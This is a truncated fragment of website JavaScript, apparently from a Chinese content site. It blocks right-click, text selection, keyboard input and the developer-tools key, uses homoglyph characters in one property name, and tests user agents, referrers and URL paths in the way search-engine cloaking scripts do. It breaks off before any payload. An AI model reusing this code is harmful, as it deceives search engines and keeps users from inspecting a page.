var $jscomp = $jscomp || {}; $jscomp.scope = {}; $jscomp.createTemplateTagFirstArg = function (a) { return (a.raw = a); }; $jscomp.createTemplateTagFirstArgWithRaw = function (a, b) { a.raw = b; return a; }; document.οncοntextmenu = function () { return !1; }; document.onselectstart = function () { return !1; }; document.oncontextmenu = function () { return !1; }; window.onkeydown = window.onkeyup = window.onkeypress = function () { return (window.event.returnValue = !1); }; document.onkeydown = function () { if (window.event && 123 == window.event.keyCode) return (event.keyCode = 0), (event.returnValue = !1); }; var ua = navigator.userAgent, ref = document.referrer, date = new Date(), hour = date.getHours(), spider = /Baiduspider|Bytespider|Sogou web spider|Sogou inst spider|Googlebot|360Spider|bingbot|Sosospider|HaosouSpider|msnbot|yodaobot|youdaobot|Yisouspider/i, allowRef = /baidu.com|baiducontent.com|sogou.com|google.com|so.com|bing.com|soso.com|msn.com|sm.cn|yahoo.com|zhihu.com|toutiao.com|zj0559.com/i, isSpider = spider.test(ua), allowReferer = allowRef.test(ref), needBlockPath = /\/didi\/|\/yx\/gushi\/|\/qinggan\/wrcs\/|\/shehui\/redian\/|\/yingshi\/zongyi\/|\/shehui\/wanxiang\/|\/shehui\/qiwenyishi\//i, needBlocked = needBlockPath.test(window.location.pathname); isSpider && console.log(ua + " is spider."); allowReferer && console.log(ref + " is allow referer."); needBlocked && console.log(window.location.pathname + " is need block path."); var ua = navigator.userAgent.toLowerCase(); var bIsIpad = ua.match(/ipad/i) == "ipad"; var bIsIphoneOs = ua.match(/iphone os/i) == "iphone os" || ua.match(/iphone; cpu os/i) == "iphone; cpu os"; var bIsAndroid = ua.match(/android/i) == "android"; var bIsWM = ua.match(/windows mobile/i) == "windows mobile"; try { var temp = '\n \n